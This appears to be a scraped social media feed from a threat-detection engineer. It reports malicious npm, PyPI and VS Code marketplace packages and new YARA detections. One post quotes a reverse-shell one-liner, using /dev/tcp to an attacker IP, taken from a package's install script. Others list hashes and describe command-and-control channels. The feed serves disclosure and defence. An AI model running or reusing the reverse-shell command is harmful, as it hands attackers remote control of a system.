Marius Benthin
@marius_benthin
Senior Detection Engineer @NextronSystems
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https://www.marius-benthin.de 16-08-2017 06:24:19
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Beyond availability - toward verified recovery Backups should do more than bring systems back online - they should bring them back clean. Together with Veeam® Software, we’ve built an integration that adds forensic assurance to backup workflows. THOR extends Veeam’s trusted recovery
#IndonesianFoods NPM worm is covered by THOR scanner detections THOR APT Scanner Nextron Research ⚡️
The SHA1-Hulud npm mess keeps growing, so we added additional detections for it today - new YARA rules by my colleague Marius Benthin in our public signature-base - cover bun_environment.js / setup_bun.js and the malicious preinstall script variants from the Wiz / Aikido
NPM package "baidu-src-test*" spawning reverse shell on installation via (pre)install script. sh -i >& /dev/tcp/43[.]160[.]194[.]214/53 0>&1 virustotal.com/gui/file/ee880… Nextron Research ⚡️ #NPM #THOR
We spotted a malicious #VSCode (Visual Studio Code) extension today in our artifact-scanning pipeline. It appeared under a name that tries to pass itself off as the popular Material Icon Theme. A new 5.29.1 version was pushed today (28.11., 11:34) and the update contains two Rust implants –
Follow-up on yesterday’s VS Code extension case: we finished the malware analysis of the Rust implants Solana-based C2, AES-encrypted JS stages, and a Google Calendar fallback channel with invisible Unicode tricks Write-up is here nextron-systems.com/2025/11/29/ana… by Marius Benthin
Malicious NPM package imitating expressjs/multer. It downloads payload from Google Firebase Storage. npmjs.com/package/multer… SHA-256: 3d3ebabe63cc6128194440210bffbafeac95c9a23bf294711a8637aa857b3648 #NPM #Google Nextron Research ⚡️
We Nextron Research ⚡️ scan many public repos like npm, pypi, vscode marketplace etc. And we find a lot of shitty malware :) Example: pypi.org/project/multit… SHA256: 79cc98d0831e7b6a191000ec997ebc1853b1f6cc1190dbb855b97d7bf418c287 #PyPi